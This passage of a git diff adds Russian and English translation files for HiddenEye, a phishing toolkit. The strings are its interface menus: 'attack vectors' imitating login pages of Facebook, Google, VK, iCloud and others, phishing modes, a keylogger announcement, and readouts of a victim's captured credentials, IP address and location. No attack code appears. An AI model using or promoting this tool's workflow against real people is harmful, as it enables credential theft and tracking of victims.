{1}_....~~~~=====~~~~...._\n" +" .'========={3}/----=\\{1}=========>\n" +" /:========={3}/-----====\\{1}\n" +" |=========={3}|-----======|{1}==========>\n" +" \\:========={3}\\---======/{1}\n" +" \\=========={3}\\=====/{1}==========>\n" +" ````~~~~=======~~~~````\n" +"\n" +" {3}HIDDEN EYE {3}BY: DARKSEC TEAM\n" +" {0}THANKS FOR USING IT. HELP US TO MAKE IT MORE USEFUL\n" +" {3}https://github.com/DarkSecDevelopers/HiddenEye " + +#: Defs/Actions.py:277 +#, python-brace-format +msgid "" +"{0}[{1}*{0}]{1} Waiting for credentials//Keystrokes//Victim's device info. \n" +msgstr "" +"{0}[{1}*{0}]{1} Waiting for credentials//Keystrokes//Victim's device info. \n" + +#: Defs/Actions.py:283 +#, python-format, python-brace-format +msgid "" +" {0}[ CREDENTIALS FOUND ]{1}:\n" +" {0}%s{1}" +msgstr "" +" {0}[ CREDENTIALS FOUND ]{1}:\n" +" {0}%s{1}" + +#: Defs/Actions.py:293 +msgid "Victim Public IP: (.*?)\n" +msgstr "Victim Public IP: (.*?)\n" + +#: Defs/Actions.py:298 +#, python-format, python-brace-format +msgid "" +" \n" +"{0}[ VICTIM IP BONUS ]{1}:\n" +" {0}%s{1}" +msgstr "" +" \n" +"{0}[ VICTIM IP BONUS ]{1}:\n" +" {0}%s{1}" + +#: Defs/Actions.py:304 +#, python-format, python-brace-format +msgid "" +" \n" +"{0}[ VICTIM INFO FOUND ]{1}:\n" +" {0}%s{1}" +msgstr "" +" \n" +"{0}[ VICTIM INFO FOUND ]{1}:\n" +" {0}%s{1}" + +#: Defs/Actions.py:305 +#, python-brace-format +msgid "" +" \n" +"{0}Longitude: {2} \n" +"Latitude: {3}{1}" +msgstr "" +" \n" +"{0}Longitude: {2} \n" +"Latitude: {3}{1}" + +#: Defs/Actions.py:306 +#, python-brace-format +msgid "" +" \n" +"{0}ISP: {2} \n" +"Country: {3}{1}" +msgstr "" +" \n" +"{0}ISP: {2} \n" +"Country: {3}{1}" + +#: Defs/Actions.py:307 +#, python-brace-format +msgid "" +" \n" +"{0}Region: {2} \n" +"City: {3}{1}" +msgstr "" +" \n" +"{0}Region: {2} \n" +"City: {3}{1}" + +#: Defs/Actions.py:317 +#, python-format, python-brace-format +msgid "" +" {0}[ GETTING PRESSED KEYS ]{1}:\n" +" {0}%s{1}" +msgstr "" +" {0}[ GETTING PRESSED KEYS ]{1}:\n" +" {0}%s{1}" + +#: Defs/Checks.py:15 +#, python-brace-format +msgid "{0}Successful connection!{1}" +msgstr "{0}Successful connection!{1}" + +#: Defs/Checks.py:21 +#, python-brace-format +msgid "" +"{1}\n" +" _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}\n" +" |__| | ] | ] | |__ |\\ | {0}|__ \\__/ |__{1}\n" +" | | | ]__| ]__| |__ | \\| {0}|__ || |__{1}\n" +"\n" +" {0}[{1}!{0}]{1} Network error. Verify your connection.\n" +"\n" +msgstr "" +"{1}\n" +" _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}\n" +" |__| | ] | ] | |__ |\\ | {0}|__ \\__/ |__{1}\n" +" | | | ]__| ]__| |__ | \\| {0}|__ || |__{1}\n" +"\n" +" {0}[{1}!{0}]{1} Network error. Verify your connection.\n" +"\n" + +#: Defs/Checks.py:32 +msgid "[*] Downloading Ngrok..." +msgstr "[*] Downloading Ngrok..." diff --git a/Lang/ru_RU/LC_MESSAGES/hiddeneye.mo b/Lang/ru_RU/LC_MESSAGES/hiddeneye.mo new file mode 100644 index 0000000000000000000000000000000000000000..2e0355f9fd04c1b41383390db787d4efbf9f7881 GIT binary patch literal 11717 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\n" +"Language-Team: \n" +"Language: ru_RU\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: Poedit 2.2\n" +"X-Poedit-Basepath: ../../..\n" +"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n" +"%10<=4 && (n%100<12 || n%100>14) ? 1 : 2);\n" +"X-Poedit-SearchPath-0: Lang\n" +"X-Poedit-SearchPath-1: Defs\n" + +#: Defs/Actions.py:74 +#, python-brace-format +msgid "" +"\n" +" {0}Please select any available server:{1}" +msgstr "" +"\n" +"{0}Пожалуйста выберите сервер из списка:{1}" + +#: Defs/Actions.py:75 +#, python-brace-format +msgid "" +"\n" +" {0}[{1}1{0}]{1} Ngrok\n" +" {0}[{1}2{0}]{1} Serveo" +msgstr "" +"\n" +" {0}[{1}1{0}]{1} Ngrok\n" +" {0}[{1}2{0}]{1} Serveo" + +#: Defs/Actions.py:119 +#, python-brace-format +msgid "" +"\n" +"\n" +"\n" +"{1}" +"<=============================================================================>\n" +" || " +"||\n" +" {1}|| ██ ██ ██ ██████ ██████ ███████ ███ ██ {3}███████ ██ ██ " +"███████ {1}||\n" +" {1}|| ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ {3}██ ██ ██ " +"██ {1}||\n" +" {1}|| ███████ ██ ██ ██ ██ ██ ███████ ██ ██ ██ {3}███████ ████ " +"███████ {1}||\n" +" {1}|| ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ {3}██ ██ " +"██ {1}||\n" +" {1}|| ██ ██ ██ ██████ ██████ ███████ ██ ███ {3}███████ ██ " +"███████ {1}||\n" +" || " +"||\n" +" -----------------------------------------------------------------------------\n" +" v{3}0{1}.{3}1{1}.{3}" +"0{1} BY:DARKSEC{2}\n" +" {0}[ NOW WITH LIVE VICTIM ATTACK INFORMATION ]\n" +" {0}A KEYLOGGER WILL BE DEPLOYED FOR YOU, TO CAPTURE EVERY " +"KEYSTROKE ]\n" +"<=============================================================================>\n" +" " +msgstr "" +"\n" +"\n" +"\n" +"{1}" +"<=============================================================================>\n" +" || " +"||\n" +" {1}|| ██ ██ ██ ██████ ██████ ███████ ███ ██ {3}███████ ██ ██ " +"███████ {1}||\n" +" {1}|| ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ {3}██ ██ ██ " +"██ {1}||\n" +" {1}|| ███████ ██ ██ ██ ██ ██ ███████ ██ ██ ██ {3}███████ ████ " +"███████ {1}||\n" +" {1}|| ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ {3}██ ██ " +"██ {1}||\n" +" {1}|| ██ ██ ██ ██████ ██████ ███████ ██ ███ {3}███████ ██ " +"███████ {1}||\n" +" || " +"||\n" +" -----------------------------------------------------------------------------\n" +" v{3}0{1}.{3}1{1}.{3}" +"0{1} От команды DARKSEC{2}\n" +" {0}[ ТЕПЕРЬ СО СБОРОМ ИНФОРМАЦИИ О ЖЕРТВЕ ]\n" +" {0}ДЛЯ ВАС БЫЛ ЗАПУЩЕН ПЕРЕХВАТЧИК ВВОДА , ЧТОБЫ НЕ ПРОПУСТИТЬ " +"НИОДНОЙ СТРОКИ ]\n" +"<=============================================================================>\n" +" " + +#: Defs/Actions.py:150 +#, python-format, python-brace-format +msgid "{0}[{1}*{0}]{1} HiddenEye is Opening. Please Wait... %d%%" +msgstr "{0}[{1}*{0}]{1} HiddenEye открывается. Пожалуйста подождите... %d%%" + +#: Defs/Actions.py:153 +#, python-brace-format +msgid "" +"\n" +"{2}[{1}!{2}]{1} Do you agree to use this tool for educational purposes only? " +"({2}y{1}/{0}n{1})\n" +"{2}HiddenEye >>> {1}" +msgstr "" +"\n" +"{2}[{1}!{2}]{1} Согласны ли вы использовать этот инструмент исключительно в " +"образовательных целях? (Выберите: {2}y = Да{1}/{0}n = Нет{1})" + +#: Defs/Actions.py:155 +#, python-brace-format +msgid "" +"\n" +"\n" +"[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR " +"EDUCATIONAL PURPOSE. GOOD BYE!{1} ]\n" +"\n" +msgstr "" +"\n" +"\n" +"[ {0} ВЫ НЕ АВТОРИЗОВАНЫ ДЛЯ ИСПОЛЬЗОВАНИЯ ЭТОГО ИНСТРУМЕНТА.ЕГО " +"ИСПОЛЬЗОВАНИЕ ДОПУСКАЕТСЯ ТОЛЬКО В ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ. ДОСВИДАНИЯ![{1} ]\n" +"\n" + +#: Defs/Actions.py:157 +#, python-brace-format +msgid "" +"\n" +"SELECT ANY ATTACK VECTOR FOR YOUR VICTIM:\n" +"\n" +" {0}[{1}1{0}]{1} Facebook\n" +"\n" +" {0}[{1}2{0}]{1} Google\n" +"\n" +" {0}[{1}3{0}]{1} LinkedIn\n" +"\n" +" {0}[{1}4{0}]{1} GitHub\n" +"\n" +" {0}[{1}5{0}]{1} StackOverflow\n" +"\n" +" {0}[{1}6{0}]{1} WordPress\n" +"\n" +" {0}[{1}7{0}]{1} Twitter\n" +"\n" +" {0}[{1}8{0}]{1} Instagram\n" +"\n" +" {0}[{1}9{0}]{1} Snapchat\n" +"\n" +" {0}[{1}10{0}]{1} Yahoo\n" +"\n" +" {0}[{1}11{0}]{1} Twitch\n" +"\n" +" {0}[{1}12{0}]{1} Microsoft\n" +"\n" +" {0}[{1}13{0}]{1} Steam\n" +"\n" +" {0}[{1}14{0}]{1} VK\n" +"\n" +" {0}[{1}15{0}]{1} iCloud\n" +"\n" +"{0}HiddenEye >>> {1}" +msgstr "" +"\n" +"ВЫБЕРИТЕ МЕТОД АТАКИ ДЛЯ ВАШЕЙ ЖЕРТВЫ:\n" +"\n" +" {0}[{1}1{0}]{1} Facebook\n" +"\n" +" {0}[{1}2{0}]{1} Google\n" +"\n" +" {0}[{1}3{0}]{1} LinkedIn\n" +"\n" +" {0}[{1}4{0}]{1} GitHub\n" +"\n" +" {0}[{1}5{0}]{1} StackOverflow\n" +"\n" +" {0}[{1}6{0}]{1} WordPress\n" +"\n" +" {0}[{1}7{0}]{1} Twitter\n" +"\n" +" {0}[{1}8{0}]{1} Instagram\n" +"\n" +" {0}[{1}9{0}]{1} Snapchat\n" +"\n" +" {0}[{1}10{0}]{1} Yahoo\n" +"\n" +" {0}[{1}11{0}]{1} Twitch\n" +"\n" +" {0}[{1}12{0}]{1} Microsoft\n" +"\n" +" {0}[{1}13{0}]{1} Steam\n" +"\n" +" {0}[{1}14{0}]{1} VK\n" +"\n" +" {0}[{1}15{0}]{1} iCloud\n" +"\n" +"{0}HiddenEye >>> {1}" + +#: Defs/Actions.py:160 +#, python-brace-format +msgid "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/" +"login_with)\n" +"\n" +" {0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n" +"\n" +" {0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n" +"\n" +"{0}HiddenEye >>> {1}" +msgstr "" +"\n" +"Тип операции:\n" +"\n" +" {0}[{1}1{0}]{1} Обычная страница\n" +"\n" +" {0}[{1}2{0}]{1} Продвинутый фишинг-Метод опроса(Poll_mode/login_with)\n" +"\n" +" {0}[{1}3{0}]{1} Facebook фишинг- Фальшивая проблема " +"безопасности(security_mode) \n" +"\n" +" {0}[{1}4{0}]{1} Facebook фишинг-Инициалы Messenger'a (messenger_mode) \n" +"\n" +"{0}HiddenEye >>> {1}" + +#: Defs/Actions.py:164 +#, python-brace-format +msgid "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n" +"\n" +" {0}[{1}3{0}]{1} New Google Web\n" +"\n" +"{0}HiddenEye >>> {1}" +msgstr "" +"\n" +"Тип операции:\n" +"\n" +" {0}[{1}1{0}]{1} Обычная страница\n" +"\n" +" {0}[{1}2{0}]{1} Продвинутый фишинг(poll_mode/login_with)\n" +"\n" +" {0}[{1}3{0}]{1} Новый Google Web\n" +"\n" +"{0}HiddenEye >>> {1}" + +#: Defs/Actions.py:188 +#, python-brace-format +msgid "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Instagram Autoliker Phising (After submit redirects to " +"original autoliker)\n" +"\n" +"{0}HiddenEye >>> {1}" +msgstr "" +"\n" +"Тип операции:\n" +"\n" +" {0}[{1}1{0}]{1} Обычная веб-страница Instagram\n" +"\n" +" {0}[{1}2{0}]{1} Instagram автолайкер (После подтверждения, ссылается на " +"оригинальный автолайкер)\n" +"\n" +"{0}HiddenEye >>> {1}" + +#: Defs/Actions.py:212 +#, python-brace-format +msgid "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard VK Web Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n" +"\n" +"{0}HiddenEye >>> {1}" +msgstr "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Обычная веб-страница VK\n" +"\n" +" {0}[{1}2{0}]{1} Продвинутый фишинг(poll_mode/login_with)\n" +"\n" +"{0}HiddenEye >>> {1}" + +#: Defs/Actions.py:222 +#, python-brace-format +msgid "" +" {0}\n" +" [{1}*{0}] module loaded. Building site...{0}" +msgstr "" +" {0}\n" +" [{1}*{0}] модуль загружен. Построение сайта...{0}" + +#: Defs/Actions.py:226 +msgid "" +"\n" +" (Choose Wisely As Your Victim Will Redirect to This Link)" +msgstr "" +"\n" +" (Выбирайте с умом, ваша жертва будет перенаправлена по этому адресу)" + +#: Defs/Actions.py:227 +msgid "" +"\n" +" (Leave Blank To Loop The Phishing Page)" +msgstr "" +"\n" +" (Оставьте пустым чтобы зациклить страницу)" + +#: Defs/Actions.py:228 +#, python-brace-format +msgid "" +"\n" +" {0}Insert a custom redirect url:" +msgstr "" +"\n" +" {0}Введите альтернативный адрес переадресации:" + +#: Defs/Actions.py:229 +#, python-brace-format +msgid "" +"\n" +" {0}CUSTOM URL>>> {1}" +msgstr "" +"\n" +" {0}АЛЬТЕРНАТИВНЫЙ АДРЕС >>> {1}" + +#: Defs/Actions.py:260 +#, python-brace-format +msgid "" +"\n" +" {1}_....~~~~=====~~~~...._\n" +" .'========={3}/----=\\{1}=========>\n" +" /:========={3}/-----====\\{1}\n" +" |=========={3}|-----======|{1}==========>\n" +" \\:========={3}\\---======/{1}\n" +" \\=========={3}\\=====/{1}==========>\n" +" ````~~~~=======~~~~````\n" +"\n" +" {3}HIDDEN EYE {3}BY: DARKSEC TEAM\n" +" {0}THANKS FOR USING IT. HELP US TO MAKE IT MORE USEFUL\n" +" {3}https://github.com/DarkSecDevelopers/HiddenEye " +msgstr "" +"\n" +" {1}_....~~~~=====~~~~...._\n" +" .'========={3}/----=\\{1}=========>\n" +" /:========={3}/-----====\\{1}\n" +" |=========={3}|-----======|{1}==========>\n" +" \\:========={3}\\---======/{1}\n" +" \\=========={3}\\=====/{1}==========>\n" +" ````~~~~=======~~~~````\n" +"\n" +" {3}HIDDEN EYE {3}ОТ КОМАНДЫ DARKSEC \n" +" {0}СПАСИБО ЧТО ОСТАЕТЕСЬ С НАМИ. ПОМОГИТЕ НАМ СДЕЛАТЬ ПРИЛОЖЕНИЕ " +"ПОЛЕЗНЕЕ\n" +" {3}https://github.com/DarkSecDevelopers/HiddenEye " + +#: Defs/Actions.py:277 +#, python-brace-format +msgid "" +"{0}[{1}*{0}]{1} Waiting for credentials//Keystrokes//Victim's device info. \n" +msgstr "" +"{0}[{1}*{0}]{1} Ожидание базовой информации//нажатий клавиш//информации об " +"устройстве жертвы. \n" + +#: Defs/Actions.py:283 +#, python-format, python-brace-format +msgid "" +" {0}[ CREDENTIALS FOUND ]{1}:\n" +" {0}%s{1}" +msgstr "" +" {0}[ ИНФОРМАЦИЯ ОБНАРУЖЕНА ]{1}:\n" +" {0}%s{1}" + +#: Defs/Actions.py:293 +msgid "Victim Public IP: (.*?)\n" +msgstr "Публичный IP жертвы: (.*?)\n" + +#: Defs/Actions.py:298 +#, python-format, python-brace-format +msgid "" +" \n" +"{0}[ VICTIM IP BONUS ]{1}:\n" +" {0}%s{1}" +msgstr "" +" \n" +"{0}[ Дополнительный IP жертвы ]{1}:\n" +" {0}%s{1}" + +#: Defs/Actions.py:304 +#, python-format, python-brace-format +msgid "" +" \n" +"{0}[ VICTIM INFO FOUND ]{1}:\n" +" {0}%s{1}" +msgstr "" +" \n" +"{0}[ КООРДИНАТЫ ЖЕРТВЫ ОБНАРУЖЕНЫ ]{1}:\n" +" {0}%s{1}" + +#: Defs/Actions.py:305 +#, python-brace-format +msgid "" +" \n" +"{0}Longitude: {2} \n" +"Latitude: {3}{1}" +msgstr "" +" \n" +"{0}Долгота: {2} \n" +"Широта: {3}{1}" + +#: Defs/Actions.py:306 +#, python-brace-format +msgid "" +" \n" +"{0}ISP: {2} \n" +"Country: {3}{1}" +msgstr "" +" \n" +"{0}Интернет провайдер: {2} \n" +"Страна: {3}{1}" + +#: Defs/Actions.py:307 +#, python-brace-format +msgid "" +" \n" +"{0}Region: {2} \n" +"City: {3}{1}" +msgstr "" +" \n" +"{0}Регион: {2} \n" +"Город: {3}{1}" + +#: Defs/Actions.py:317 +#, python-format, python-brace-format +msgid "" +" {0}[ GETTING PRESSED KEYS ]{1}:\n" +" {0}%s{1}" +msgstr "" +" {0}[ ПОЛУЧЕНИЕ НАЖАТЫХ КЛАВИШ ]{1}:\n" +" {0}%s{1}" + +#: Defs/Checks.py:15 +#, python-brace-format +msgid "{0}Successful connection!{1}" +msgstr "{0}Успешное соединение!{1}" + +#: Defs/Checks.py:21 +#, python-brace-format +msgid "" +"{1}\n" +" _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}\n" +" |__| | ] | ] | |__ |\\ | {0}|__ \\__/ |__{1}\n" +" | | | ]__| ]__| |__ | \\| {0}|__ || |__{1}\n" +"\n" +" {0}[{1}!{0}]{1} Network error. Verify your connection.\n" +"\n" +msgstr "" +"{1}\n" +" _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}\n" +" |__| | ] | ] | |__ |\\ | {0}|__ \\__/ |__{1}\n" +" | | | ]__| ]__| |__ | \\| {0}|__ || |__{1}\n" +"\n" +" {0}[{1}!{0}]{1} Сетевая ошибка. Проверьте ваше " +"подключение.\n" +"\n" + +#: Defs/Checks.py:32 +msgid "[*] Downloading Ngrok..." +msgstr "[*] Загрузка Ngrok..."